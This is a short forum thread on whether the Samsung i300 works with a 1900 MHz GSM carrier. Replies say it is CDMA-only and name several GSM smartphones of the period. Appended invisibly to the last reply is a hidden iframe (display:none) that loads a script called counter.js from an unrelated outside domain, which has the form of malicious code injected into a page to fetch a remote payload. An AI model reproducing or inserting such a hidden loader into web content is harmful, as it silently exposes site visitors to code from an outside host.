Anyone knows if i can use the i300 with a carrier with GSM at 1900 mhz ?

I don't think so, I'm pretty sure the i300 is CDMA-only.

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Definitely not, the I300 is 100% pure CDMA and will not work on any GSM carrier's network. However, there are smartphones out there for GSM providers. The Treo 180/270, T-Mobile's PPC device (XDA), the Danger device, Palm's upcoming smartphone, and the yet-to-be-released Sony-Ericcson P800.

There is also a new smartphone coming out from Samsung in GSM flavor. It is a folder type phone. The model is yet unnamed. I'm sure you guys have seen it already.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>